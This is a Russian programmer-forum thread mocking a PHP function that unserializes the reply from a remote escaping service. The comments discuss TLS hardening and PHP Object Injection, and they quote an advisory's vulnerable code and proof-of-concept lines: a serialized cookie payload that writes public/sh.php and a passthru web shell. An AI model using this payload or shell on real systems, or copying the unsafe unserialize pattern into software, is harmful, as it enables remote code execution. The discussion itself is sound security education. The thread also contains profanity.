1. PHP / Говнокод #25635

    +2

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    function mysql_real_escape_string_cloud($string)
    {
        return unserialize(
            file_get_contents("https://mysql-real-escape-string.xyz/php?string="
                . urlencode($string)));
    }

    Запущен сайт https://mysql-real-escape-string.xyz/, предоставляющий функцию «mysql_real_escape_string» в виде сервиса. Имеются три различных формата получения данных (/plain, /json и инновационный /php). Теперь обеспечить абсолютную безопасность базы данных функцией «mysql_real_escape_string» можно из любого языка, поддерживающего «HTTP-запросы»!

    Запостил: gost, 23 Мая 2019

    Комментарии (162) RSS

    • Наш девиз: «Безопасность по ГОСТу»!
      Ответить
    • Ебать ты богач. Ты потратил 150 рублей на регу безполезного домена?
      Ответить
      • Раскручу и монетизирую. Буду Premium-план с поддержкой «Base64» продавать.

        Домен соточку стоит, кстати.
        Ответить
      • Я бы джва года копил.
        Ответить
    • Можно прям давать этот код людям, спрашивающим об ошибках «FATAL ERROR: call to undefined function mysql_real_escape_string»
      Ответить
    • Сколько будет стоить план на 10 000 запросов в секунду?
      Ответить
      • Это будет решаться на следующем заседании инициативной группы.
        Ответить
    • > https
      Круто! Можно даже пароли эскейпить перед вставкой в базу.
      Ответить
      • А то! Безопасность — превыше всего.
        Ответить
      • Я потек от такого HTTPS, кстати.
        Там во-первых TLS 1.3 (даже у меня 1.2, хотя я тот еще задрот)
        Во-вторых там DSA на элипилептических курвах (вместо сраного RSA) и соответственно эфемерный диффи-хельман
        И наконец там чача и полли и AES на Галуа!

        Осталось толко:
        1. отключить TLS младше 1.1,
        2. выкинуть шифры с AES на CBC
        3. прописать в DNS CAA
        4. включить HSTS

        и SSLABS даст A+ и зеленое по ВСЕМ пунктам.

        Я понимю конечно что это не гост шифры крутил а клаудфр, но HSTS сделать он может точно, да и CAA прописать если там интерфейс DNSа не еблонский
        Ответить
        • Именно поэтому я за «Cloudflare».
          Сделал «A+» в «SSLLABS», проверь. Выкинуть AES CBC не получится — они в конфиге серверов «Cloudflare» прописаны.

          Кстати говоря, трафик между «Cloudflare» и веб-сервером тоже ходит по HTTPS.
          Ответить
          • Вижу:)

            Ты нехило так закрутил гайки.
            >Chrome 49 / XP SP3: Server sent fatal alert: handshake_failure
            Сёма отсосёма теперь.

            В целом круто. Добавь теперь себя пожалуйста в HSTS preload:
            https://hstspreload.org/?domain=mysql-real-escape-string.xyz

            там надо заголовки подкрутить. Тогда браузеры даже не будут пытаться загрузить тебя без HTTPS.
            Ответить
            • Success
              mysql-real-escape-string.xyz is now
              pending inclusion in the HSTS preload list!
              
              Please make sure that mysql-real-escape-string.xyz
              continues to satisfy all preload requirement, or it
              will be removed. Please revisit this site over the
              next few weeks to check on the status of your domain.


              Где подавать заявку на конкурс самых защищённых сайтов?
              Ответить
              • Смех смехом, а я думаю что теперь https у сайта настроен лучше, чем у доброй половины сайтов в вебе.

                Редко когда у кого бывает A+.
                Ответить
                • A5
                  Ответить
                • Ага, лучше чем у «Сбербанка», например: https://www.ssllabs.com/ssltest/analyze.html?d=sberbank.ru. Или у «Яндекса» с его «C»: https://www.ssllabs.com/ssltest/analyze.html?d=yandex.ru
                  А у «Госуслуг», на которых миллионы россиян вводят огромное количество персональных данных, «B»: https://www.ssllabs.com/ssltest/analyze.html?d=gosuslugi.ru. А вдобавок сервер ещё и к «Zombie POODLE» уязвим, лол.
                  Ответить
                  • Удивительно конечно почему так.
                    Ну ладно: Яндекс C потому что SSL 3 чтобы туда Сёмы ходили.

                    Но госуслуги это конечно полный пиздец.
                    Вдумайся: анонимные хуи на govnokod.ru умеют лучше настроить безопасность чем государственный портал со всеми данными граждан за охулиард бабок

                    как так блин?
                    Ответить
                    • Полагаю, что как обычно: распиздяйство, похуизм, распилы и бюрократия. Всем, очевидно, похуй, а кому не похуй — тех посылают нахуй, потому что не положено©.
                      Ответить
                    • На госуслугах поди и IE8 поддерживать приходится?
                      Ответить
                      • Они бы и собаку поддержали.
                        Это не объясняет поддержку SSL 3.0 (даже IE 8 умеет TLS 1.0), пуделя и отсутствие secure renegotiation.

                        И ни одного шифра с DH. Для KeyExchange везде только RSA, соответственно Perfect Forward Security сосёт.
                        Ответить
                        • > perfect forward secrecy
                          Если сервак настолько разъебали, что смогли утащить его RSA ключ, то там скорее всего и кучу твоих данных скопроментировали. И даже шифрованный трафик копить не пришлось.
                          Ответить
                          • И тем не менее если его записали то смогут проиграть.

                            Вообще какой наркоман придумал шифровать нонс ключом от RSA?
                            DH же хуйзнаеткогда выдумали.
                            Ответить
                            • Я думаю, что они просто дрочили на пирфоманс. В публичных ключах RSA всего пара единичек. Из-за этого для клиента шифрование и проверка подписи почти ничего не стоят.
                              Ответить
                            • opensll speed

                              1
                                                sign    verify    sign/s verify/s
                              rsa 2048 bits 0.015773s 0.000470s     63.4   2127.8

                              DH по скорости как медленная операция в rsa по идее.

                              Отступы в первой строке глотаются.
                              Ответить
                        • > DH
                          DHE. Ибо в обычном DH у сервака будет статичный ключ, которым потом можно всё расшифровать как и в RSA.
                          Ответить
                    • > анонимные хуи умеют лучше чем государственный
                      Вся суть

                      Они проебали аусвайсы же еще месяца не прошло
                      Ответить
                      • https://telegra.ph/Vnutrennie-dokumenty-portala-GosUslugi-okazalis-v-otkrytom-dostupe-05-23
                        Ответить
                        • > господин Клишас и Яровая втирают в десна свои небылицы про мифические угрозы из-за рубежа
                          Как-то беззубо, по-моему. Ясно же, что заказчик - один криминальный карлик, который до усрачки боится инторнета.

                          «Все это [интернет] возникло как спецпроект ЦРУ США, так и развивается», - заявил президент на медиафоруме в Санкт-Петербурге в конце апреля.

                          https://www.vedomosti.ru/technology/articles/2014/05/20/medvedev-popravil-putina-zayavivshego-chto-internet-proekt

                          я немного прихуел с того, что этому уже 5 лет
                          Ответить
                          • Вообще-то верно, что Интернет –— это проект США. Но Яровая и её коллеги боятся не этого, а того, что русня всему миру расскажет, какой пиздец творится в России.
                            Ответить
                        • В информационных системах госорганов — от реестра НКО Минюста до московского портала госзакупок — в открытом доступе размещены 360 тыс. записей с личными данными, в том числе сведения о бывших вице-премьерах правительства

                          Среди людей, информация о которых оказалась в открытом доступе, — бывшие вице-премьеры и вице-спикер Госдумы, утверждает Бегтин. На момент публикации, как убедился РБК, в реестре отчетов некоммерческих организаций Минюста среди отчетов «о деятельности некоммерческой организации и персональном составе ее руководящих органов» можно было найти документ фонда поддержки социальных, образовательных, инновационных и спортивных проектов «Ладья». В его президиум входят первый заместитель председателя Госдумы Александр Жуков (в 2004–2011 годах вице-премьер), сопредседатель фонда «Сколково», бывший вице-премьер Аркадий Дворкович, его жена Зумруд Рустамова, телеведущий Владимир Соловьев, представители руководства Нордеа Банка Ирина Мамхегова и Игорь Коган и губернатор Ивановской области Станислав Воскресенский. Их паспортные данные содержались в отчете фонда.
                          Ответить
            • чё это за лист?
              это чтобы когда открываешь https://mysql-real-escape-string.xyz/ не средиректило на wi-fi.ru автоматически?
              Ответить
              • Да, примерно так.
                Это чтобы браузер сразу шел по HTTPS.
                Ответить
              • Список, встроенный в Хром и хромоклоны, чтобы когда юзер в первый раз открывает http://mysql-real-escape-string.xyz/ (обычно юзер вводит mysql-real-escape-string.xyz и течёт, а браузер сам подставляет «http»), его автоматически перенаправило на HTTPS-версию, без возможности открыть HTTP.
                Ответить
              • А что помешает взъебать тебя подменой адреса либо днсом либо как взрослые дядьки натом?
                Ответить
                • Сертификат.
                  Ответить
                  • Кстати, о сертификатах.
                    Знаешь про Certificate Transparency ?
                    Я чуть не потёк, когда узнал: http://www.certificate-transparency.org/what-is-ct

                    теперь у нас блокчейно практически следит за ревоками
                    Ответить
                    • Изначально порочная система бугров с имплисит трастом.

                      Конец-пользователя взъебут раньше, чем накатит патч.
                      Ответить
            • Можно вгетом качать, а потом на винте смотреть, как штульманавт.
              Ответить
            • Позавчера mysql-real-escape-string.xyz добавили в список HSTS preload, проверяй!
              https://chromium-review.googlesource.com/c/chromium/src/+/1630814/2/net/http/transport_security_state_static.json
              Ответить
              • Жаль что ты не можеш выкинуть бгмерзкий CBC
                Ответить
              • Лол! Они реально ведут список сайтов с https?
                Ответить
                • да
                  а как еще прелоада делать, насальника?
                  Ответить
                  • Теоретически можно в DNS добавлять соответствующую запись, тогда и кокококомпилировать списки не придётся. Но, к сожалению, Роскомговно не работает в Гугле, поэтому приходится ждать кококококомпиляции.
                    Ответить
                    • если бы ты работал в гугле, то тебе пришлось бы не просто патчить chrome, а еще и пропихивать новый стандарт

                      но в целом твоя идея мне нравится. Сделать TXT service запись типа "prot: https"
                      Ответить
      • Да уж!
        Ответить
    • Кстати, а unserialize только примитивы десериализует или что-то интересное можно распаковать?
      Ответить
      • вроде даже можно произвольный код выполнить при unserialize
        Ответить
      • Не совсем произвольный код. Можно распаковать произвольный класс с произвольными значениями полей и получить в итоге RCE. Атака называется «PHP Object Injection»: https://www.netsparker.com/blog/web-security/untrusted-data-unserialize-php/, в реальности волне используется (мне вот эта CVE запомнилась: https://www.cvedetails.com/cve/CVE-2012-5692/).
        Ответить
        • Хм, причём эта распаковка по-умолчанию включена.
          Ответить
        • Осталось только 1С Укол и я видел всё.
          Ответить
        • Посмотрел первую ссылку. Дыра там не из-за unserialize, а из-за того, что имя файла не проверяется, что позволяет создать файл с произвольным содержимым в document root.
          Ответить
          • Нет, это именно дыра «unserialize». Подразумевается, что класс «Logging» — внутренний, пользователи о нём не знают и на его содержимое никак влиять не могут, все его поля — доверенные (из конфига получены, например).

            Вот описание реальной CVEшки, ссылку на которую я последней кинул:
            [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 
                  
                4015.        static public function get($name) 
                4016.        { 
                4017.            // Check internal data first 
                4018.            if ( isset( self::$_cookiesSet[ $name ] ) ) 
                4019.            { 
                4020.                return self::$_cookiesSet[ $name ]; 
                4021.            } 
                4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 
                4023.            { 
                4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 
                4025.    
                4026.                if ( substr( $_value, 0, 2 ) == 'a:' ) 
                4027.                { 
                4028.                    return unserialize( stripslashes( urldecode( $_value ) ) ); 
                4029.                } 
                  
                The vulnerability is caused due to this method unserialize user input passed through cookies without a proper 
                sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts 
                with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a 
                serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code 
                via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug 
                info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this 
                reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
            Ответить
            • Нужно добавить php_really_safe_unserialize.
              Ответить
            • > requires short_open_tag to be enabled
              Почему?
              Ответить
              • Давайте подумаем. Настройка short_open_tag позволяет использовать <? вместо <?php (на тег <?= она не влияет).

                Может быть, <?php где-то фильтруется?
                Ответить
                • А, дошло. "<?php" требует пробел.
                  Ответить
                  • И правда. Без пробела интерпретируется как plain text, даже если начать со скобки или с точки с запятой, а шорт-теги пробела не требуют.
                    Ответить
                    • В комментах пишут, что нужно именно <\?php\s — то есть с любым пробельным символом, включая табуляцию и перенос строки.
                      Ответить
                      • $phpcode у нас передаётся GET-параметром, значит, urlencoded. Что, если передать <?php%20, чтобы не зависеть от настроек?
                        Ответить
                        • В общем, у нас есть класс «class db_driver_mysql extends db_main_mysql implements interfaceDb», есть, соответственно, класс «db_main_mysql», в котором есть метод __destruct:
                          public function __destruct()
                          	{
                          		$this->return_die = true;
                          		
                          		if ( count( $this->obj['shutdown_queries'] ) )
                          		{
                          			foreach( $this->obj['shutdown_queries'] as $q )
                          			{
                          				$this->query( $q );
                          			}
                          		}
                          		
                          		$this->writeDebugLog( '{end}', '', '' );
                          
                          		$this->obj['shutdown_queries'] = array();
                          		
                          		$this->disconnect();
                          	}


                          А метод writeDebugLog выглядит вот так (часть кода вырезана):
                          public function writeDebugLog( $query, $data, $endtime, $fileToWrite='', $backTrace=FALSE )
                          	{
                          		$fileToWrite = ( $fileToWrite ) ? $fileToWrite : $this->obj['debug_log'];
                          		if ( ( $this->obj['use_debug_log'] AND $this->obj['debug_log'] ) OR ( $this->obj['use_bad_log'] AND $this->obj['bad_log'] )  OR ( $this->obj['use_slow_log'] AND $this->obj['slow_log'] ) )
                          		{
                          // ...
                          			else if ( $query == '{end}' AND ( $this->obj['use_debug_log'] AND $this->obj['debug_log'] ) )
                          			{
                          				$_string  = "\n==============================================================================";
                          				$_string .= "\n=========================		END	   ===================================";
                          				$_string .= "\n========================= " . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'] . " ===================================";
                          				$_string .= "\n==============================================================================";
                          			}
                          // ...
                          			if ( $_string AND $FH = @fopen( $fileToWrite, 'a' ) )
                          			{
                          				@fwrite( $FH, $_string );
                          				@fclose( $FH );
                          			}

                          Эксплойт создаёт объект db_driver_mysql и устанавливает в нём поля use_debug_log в 1 и debug_log в «public/sh.php». Таким образом, после уничтожения созданного объекта, в файл public/sh.php, доступный для выполнения, записывается куча знаков «=» и не декодированное содержимое $_SERVER['QUERY_STRING'] (в котором пробелов быть не может). Дальше — дело техники.
                          Ответить
                          • > записывается
                            > доступный для выполнения
                            Именно поэтому я за раздельные каталоги для данных и скриптов.
                            Ответить
                            • А оно б не помогло, волшебные «..» приведут нас к RCE быстрее клубка Ариадны. Возможность записать произвольные данные по произвольному пути практически всегда эквивалентна полному доступу к серверу.
                              Ответить
                              • При раздельных каталогах можно лишить процесс «php» доступа к записи в каталог, в котором лежат интерпретируемые скрипты. Не все же запускают «php» от рута.
                                Ответить
                              • Я о том, что у скрипта не должно быть прав на сраньё в каталог с кодом. И наоборот. Понятно что и тут можно засрать какие-то другие файлы с данными... Но RCE уже не так тривиально.
                                Ответить
                                • мудрые адмиы вообще все запускают в докере и делают ФС ридонли так-то

                                  нахуй вообще давать что-то куда-то писать и тем более выполнять
                                  Ответить
                                  • С ридонли некоторые CMS не будут работать.
                                    Ответить
                                    • > некоторые CMS
                                      Потому что они за каким-то хуем правят свой конфиг?
                                      Ответить
                                      • Есть куча вариантов, для чего им нужно что-то записывать:

                                        1. Как ты уже заметил, для самомодифицирующегося конфига.

                                        2а. Каталог для кэша. Например, форум предварительно кокококомпилирует бэбэкоды или мракдаун в HTML, чтобы не кокококомпилировать при каждом просмотре, но сохраняет не в базу, а в файлы.

                                        2б. Или компилирует LESS/SASS в CSS. Или минимизирует и обфусцирует JS. Компиляция CSS или JS требуется раз в сто лет, когда дизайнер что-то подправит, но всё-таки иногда требуется.

                                        3. Каталог для котиков и собачек, загруженных юзером.
                                        Ответить
                                        • > самомодифицирующегося конфига
                                          Имхо, в конфиге должны быть только иммутабельные настройки, которые задаёт админ - параметры коннекта к СУБД, пути к логам и т.п. Остальное в базу.
                                          Ответить
                                        • [авто]обновление самой CMS забыл
                                          Ответить
                                          • > автообновление
                                            Я понимаю, что на говнохостингах альтернатив особо нету... Но, имхо, обновлять код должно что-то внешнее, а не сам этот код.
                                            Ответить
                                            • По хорошему да. Но для говносайтов и так сойдёт.
                                              Ответить
                                          • Установка плагинов через админку ещё.
                                            Ответить
                                        • > 3. Каталог для котиков и собачек, загруженных юзером.
                                          Кстати, в конфиге «Apache» мельком видел какую-то опцию, которая запрещает выполнение скриптов из определённых директорий. То есть если хакер загрузит нам в /images/ какой-нибудь shell.php, «Апач» этот шелл выдаст в text/plain.
                                          Ответить
                                          • Ну хакер всё ещё может подменить какую-то картинку. А в худшем случае - насрать в кеш скомпиленных js'ок.
                                            Ответить
                                            • Кстати, если с правами доступа как-то не очень, то на сервере с «Apache» можно насрать в файл .htaccess и этим самым перекрыть некоторые опции конфига для конкретной директории.
                                              Ответить
                                              • Мне ещё нравится "index.php" как защита от Апача (иначе он покажет список файлов). Архитектура!
                                                Ответить
                                                • Так вот откуда был позаимствован __init__.py!
                                                  Ответить
                                              • причем тут апаче или не апаче?

                                                не надо разрешать срать в тот же каталог где ты работаешь тому пользователю, от чьего имени работает скрип
                                                Ответить
                                                • Тогда бы «WordPress» не был бы таким популярным. Пользователи бы «ебались» с установкой тем, обновлений, и плагинов.
                                                  Ответить
                                                • Выше привели несколько примеров, когда разрешать приходится. На мой взгляд, самый «чистый» — фоточки юзеров, которые потом надо отдавать другим юзерам.
                                                  Ответить
                                                  • Теоретически фоточки юзеров можно хранить как BLOB в СУБД. Но это переголова, потому что другим юзерам их средствами голого сервера не покажешь: нужно парсить запрос, опрашивать СУБД, планировать отдачу содержимого...
                                                    Ответить
                                                    • можно хранить в субд а кешировать на файлосой системе

                                                      разумеется накаждый звапрос на статику лазить в базу это анальная гомопедерастия

                                                      ты так ни кеш не поддеожишь ни range ни sendfile
                                                      Ответить
                                                    • Сразу лить в S3. Тогда даже другие серваки смогут показывать их.
                                                      Ответить
                                                      • И гомоиконы микросервисы!

                                                        А вообще, кмк, достаточно будет разрешения на запись только в /.../site/user_images/ и запрет выполнения скриптов оттуда же. Я в чмодах и човнах плохо понимаю, можно же сделать юзера, который будет иметь доступ на запись в /.../site/user_images/, но при этом не иметь — в /.../site/cgi-bin/?
                                                        Ответить
                                                        • Прикол в том, что у PHP скриптов нет прав на исполнение. Т.е. реально запретить их исполнение можно только в настройках апача.
                                                          Ответить
                                                          • Ну это-то понятно, я о записи волнуюсь — чтобы www мог писать только в одну папку, и даже если через дыру в скриптах туда запишут скрипт — он не выполнится из-за настроек апача. А вот если защиты от записи нет — легко можно записать какой-нибудь «../cgi-bin/shell.php».
                                                            Ответить
                                                            • На нормальном серваке само собой можно. А на говношаредах походу придётся соснуть даже с самой идеей про джве папки.
                                                              Ответить
                                                              • Шареды бывают разные. Бывают с папкой htdocs, где всё вперемешку: и скрипты и статика. А бывают с двумя папками: htdocs со статикой и lib со скриптами (имена могут быть и другими). Бывают ещё шареды на «Апаче», в которых в каждую папку можно класть файл .htaccess, в котором запрещать исполнение скриптов.

                                                                Но в любом случае с защитой от записи в шаредах обычно никак, поэтому в последнем случае (шаред на «Апаче») зачастую можно хакнуть .htaccess.
                                                                Ответить
                                                            • Итого: нужно фильтровать передаваемое имя файла, чтобы в нём не было слешей.
                                                              Ответить
                                                              • В идеале передаваемые клиентом имена файлов вообще никак не должны влиять на названия файлов в ФС сервера. Я рассматриваю способы защиты от таких уязвимостей, в которых атакующий получает возможность записать произвольные данные в файл с произвольным именем; образцово-показательный пример такой уязвимости лежит в начале ветки.
                                                                Ответить
                                          • В «nginx» и в «lighttpd» наоборот, нужно явно разрешать выполнение скриптов из перечисленных директорий. Более того, можно в разных директориях пользоваться разными интерпретаторами.
                                            Ответить
                                          • да, именно по этому в моем дествте все перловые скрипты ложили в "cgi-bin" потому что только из него можно было что-то запускать
                                            Ответить
                                        • З.Ы. Емнип, та же джумла себя довольно адекватно вела в r/o каталоге - просила вручную поправить конфиг, распаковать плагин и т.п....
                                          Ответить
                                      • 4. Я видел движок, который за каким-то интересом часть данных хранит в «SQLite». Разработчик считает, что хранение части данных в «SQLite» вместо основной базы увеличивает пирфоманс, он же «лайт».
                                        Ответить
                                        • Может и да, но фишка sqlite в том что он масенький, именно поэтому он используется на ведроидах.
                                          Ответить
                                          • Он используется не только на ведроидах. Хром и Фуррифокс в sqlite хранят куки и кэш. Sqlite хорош для клиентских приложений.

                                            Почему sqlite не очень хорош на серверах:

                                            1. Он увеличивает количество запросов к файловой системе (и на запись тоже). На OpenVZ, например, где запросы к модулям ядра шарятся между виртуальными машинами, это приведёт к потере производительности.

                                            2. Если sqlite не является основной базой, то мы теряем некоторые функции, например оптимизированные джойны с основными таблицами.

                                            3. Блокировки пофайловые. Мы не можем заблокировать отдельную запись и даже отдельную таблицу. И вообще там с транзакциями какая-то фигня.

                                            В принципе, sqlite пригодна для хранения тех самых настроек сайта.
                                            Ответить
                                            • А ещё в "sqlite" нет типов у колонок. Но в вебе, конечно, всем похуй.
                                              Ответить
                                              • Хм, в «SQLite» поддерживаются типы «INTEGER», «REAL», «TEXT» и «BLOB», при этом все они неявно преобразуются друг в друга по запутанным правилам, а статическая типизация отсутствует… Ба! Да это же прямо как в «PHP»! Именно поэтому пэхапэшники за «SQLite».
                                                Ответить
                                                • > статическая типизация отсутствует
                                                  Забавно, но для integer primary key она таки работает.
                                                  Ответить
                                              • SQL без DDL? Это же лайт, а скорее NoSQL.
                                                Ответить
                                                • DDL там есть. Просто типы для красоты. Только integer primary key что-то проверяет, в остальные колонки любую хуйню можно пихать.
                                                  Ответить
                                  • > что-то куда-то писать
                                    Загруженные файлы куда-то сохранять надо.

                                    З.Ы. Или сразу в S3?
                                    Ответить
                                • И то верно.
                                  Ответить
          • И PoC:
            // ...
            $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"public/sh.php";}}}'); 
            $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; 
              
            $packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; 
            $packet .= "Host: {$host}\r\n"; 
            $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; 
            $packet .= "Connection: close\r\n\r\n";
            Ответить
            • У пыхомакак нет нормлаьного http клиента?
              Ответить
              • curl
                Ответить
              • Нормального — нет, есть только «stream_context_create»: https://www.php.net/manual/ru/function.stream-context-create.php. Ну и курл.
                Ответить
                • Нормальный - это requests, например.
                  Ответить
                  • Requests — это слишком удобно и последовательно для «PHP».
                    Ответить
              • >У пыхомакак нет нормлаьного
                да
                У пыхомакак нет нормлаьного.
                Ответить
              • Ты ещё не видел что у J-макак, модуль web/gethttp содержит единственную функцию gethttp, которая просто обёртка над wget, можно даже ключики передавать.
                Ответить
          • Получается автор кода и не подозревал, что кто-то создаст экземпляр его класса, кроме него самого. Какой багор )))
            Ответить
          • Ты не такой разумный, как казался.
            Ответить
        • Там таки не только данные, но и код, по крайней мере в питоне. Однако, а нахера вообще его юзать? Чем плох жысон?
          Ответить
          • Тем, что нужно вручную писать сериализацию/десериализацию. А так можно вызвать 1 функцию и течь.
            Ответить
            • Допизды работы, однако.
              Ответить
            • JSON_encode, JSON_decode –— это вручную? А, ну да, с помощью JSON_encode можно сохранить не все типы данных, а только некоторое подмножество.
              Ответить
              • Ну классы он не сериализует, хотя чем не устроили словари вместо них?
                Ответить
                • > словари
                  С ними работать противно.
                  Ответить
                  • А namedtuple json.dump не кушает.
                    Ответить
                    • Х.з., ты ж питонист, тебе лучше знать...
                      Ответить
                      • Ты же тоже питонист :) Хз, вроде не так уж и противно юзать словари.
                        Ответить
                        • Постоянно['писать']['эти']['ебучие']['скобки']['и']['кавычки']...
                          Ответить
                          • В «PHP» есть json_decode(, true) и json_decode(, false)
                            Поэтому->я->за->PHP
                            Ответить
                            • Именно поэтому я за «Python»:
                              >>> class Point:
                              ...     def __init__(self, x, y):
                              ...             self.__dict__ = {'x': x, 'y': y}
                              ...
                              >>> p = Point(10, 20)
                              >>> p.x, p.y
                              (10, 20)
                              >>> s = json.dumps(p.__dict__)
                              >>> s
                              '{"x": 10, "y": 20}'
                              >>> s = '{"x": 42, "y": -20}'
                              >>> p.__dict__.update(json.loads(s))
                              >>> p.x, p.y
                              (42, -20)



                              Спойлер: лучше так не делать.
                              Ответить
                            • А в js вообще нет разницы между объектом и хешмапой. Точка всегда работает.

                              Именно поэтому я за "c++".
                              Ответить
                              • Ещё Луя.
                                Ответить
                              • Будем чесны: в скриптопараше такой разницы быть не должно.

                                Противно так говорить, но я согласен с JS и Lua в этом вопросе.

                                В пстончике бывает dict, а бывает named tuple и бывает класс а бывает dataclass.

                                А нахуя? Статически всеравно это не проверяется.

                                нахуй меня заставляют писать то

                                kuritsa.jajtsa[2]
                                то
                                kuritsa['jajtsa'][2]

                                чушь!
                                Ответить
                                • А kuritsa.jaitsa.2 написать можно?
                                  Ответить
                                  • хз, дума что нет


                                    зато в руби можно написать

                                    2.raza.tebe.v.rot.konchil.prover
                                    Ответить
                                    • Почему в JS kuritsa['jajtsa'] и kuritsa.jajtsa –— синонимы, а kuritsa[2] и kuritsa.2 –— нет? Некококококонсистентно!

                                      >> зато в руби можно написать

                                      .raza –— это созданный нами метод-хелпер для инта?
                                      Ответить
                                      • class Integer
                                           def raz
                                             "#{to_s} raz tebja volkoi v glazz"
                                           end
                                        end
                                        
                                        p 12.raz #"12 raz tebja volkoi v glazz"

                                        так точно
                                        Ответить
          • > нахера вообще его юзать
            Внутри периметра - вай нот? Да и клиенту можно одолжить на время если обмазать подписью или HMAC'ом.
            Ответить
            • А потом получается как всегда - где-то недосмотрел и сразу RCE.
              Ответить
              • Там можно белый список классов передать. Просто по-умолчанию за каким-то хуем распаковывает всё подряд...
                Ответить
              • Там ещё и багры забавные:
                Внимание
                FALSE возвращается как в случае ошибки, так и в случае,
                если десериализуется сериализованное значение FALSE.
                Этот особый случай можно отловить, используя сравнение
                str со значением serialize(false), или перехватив сгенерированную ошибку E_NOTICE.


                > используя сравнение str со значением serialize(false)
                Официальная дока, между прочим. Какой PHP-way )))

                Just a note - if the serialized string contains a reference to a class that
                cannot be instantiated (e.g. being abstract) PHP will immediately die
                with a fatal error. If the unserialize() statement is preceded with a '@'
                to avoid cluttering the logs with warns or notices there will be absolutely
                no clue as to why the script stopped working. Cost me a couple of hours...

                Классический случай стрельбы в ногу.
                Ответить
                • Этим обезьянам исключения не завезли?
                  Ответить
                  • Это не PHP-way. PHP-way — это писать собачку перед каждым вызовом и течь молча глотать любые ошибки, а то они же логи забивают!
                    Ответить
                    • PHP-way - это кидать исключение / триггерить нотис / ворнинг / фатал еррор / возвращать FALSE / NULL в зависимости от того, с какой ноги сегодня встал автор функции. Поэтому пыхомакаки обязательно пишут еррор хендлер, кидающий исключение в любой непонятной ситуации, что б иметь хоть какую-то кокококонсистентность.
                      Именно поэтому я за C.
                      Ответить
                      • PHP-way - это писать семь раз в разные места страницы:
                        Warning: undefined variable $pokupki at line 2432 in /home/z/zeliboba/zeliboba.ru/public_html/popupki/index.php
                        Ответить
          • В Питоне — да, в «PHP» — только поля.
            Anatomy of a serialize()'ed value:
            
            String
            s:size:value;
            
            Integer
            i:value;
            
            Boolean
            b:value; (does not store "true" or "false", does store '1' or '0')
            
            Null
            N;
            
            Array
            a:size:{key definition;value definition;(repeated per element)}
            
            Object
            O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
            
            String values are always in double quotes
            Array keys are always integers or strings
                "null => 'value'" equates to 's:0:"";s:5:"value";',
                "true => 'value'" equates to 'i:1;s:5:"value";',
                "false => 'value'" equates to 'i:0;s:5:"value";',
                "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
                array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
                 and
                attempting to use an object as a key will result in the same behavior as using an array will.
            Ответить
    • Зачем гей-рубистов обидели? Добавьте в ридми
      require 'uri'
      require 'net/http'
      
      module Kernel
        def mysql_real_escape_string_cloud(string)
          Net::HTTP.get URI('https://mysql-real-escape-string.xyz/plain?string=' + URI.encode(string))
        end
      end
      
      puts mysql_real_escape_string_cloud "some'data"
      Ответить
      • За "гей-рубистов" тебя роскомговно покусает.
        Ответить
      • Это мы не со зла, это мы по незнанию. Исправили!
        Ответить
    • Есть режим, чтобы можно было писать mysql_query(eval(mysql_real_escape_strin g_cloud($string))) ?
      Ответить
    • Добрый день!

      Планируется ли аналогичный сервис для htmlspecialchars?
      Ответить

    Добавить комментарий